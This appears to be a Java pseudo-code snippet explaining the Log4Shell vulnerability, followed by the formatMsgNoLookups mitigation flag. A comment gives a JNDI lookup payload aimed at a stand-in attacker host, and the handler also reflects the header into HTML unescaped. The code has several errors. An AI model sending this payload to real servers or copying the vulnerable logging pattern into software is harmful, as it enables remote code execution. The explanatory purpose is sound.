import org.apache.log4j.Logger;import java.io.*;import java.sql.SQLException;import java.util.*;public class VulnerableLog4jExampleHandler implements HttpHandler { static Logger log = Logger.getLogger(log4jExample.class.getName()); /** * A simple HTTP endpoint that reads the request's User Agent and logs it back. * This is basically pseudo-code to explain the vulnerability, and not a full example. * @param he HTTP Request Object */ public void handle(HttpExchange he) throws IOException { string userAgent = he.getRequestHeader("user-agent");  // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header. // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a} log.info("Request User Agent:" + userAgent); String response = "<h1>Hello There, " + userAgent + "!</h1>"; he.sendResponseHeaders(200, response.length()); OutputStream os = he.getResponseBody(); os.write(response.getBytes()); os.close(); }}

Dlog4j2.formatMsgNoLookups=truelog4j2.formatMsgNoLookups=True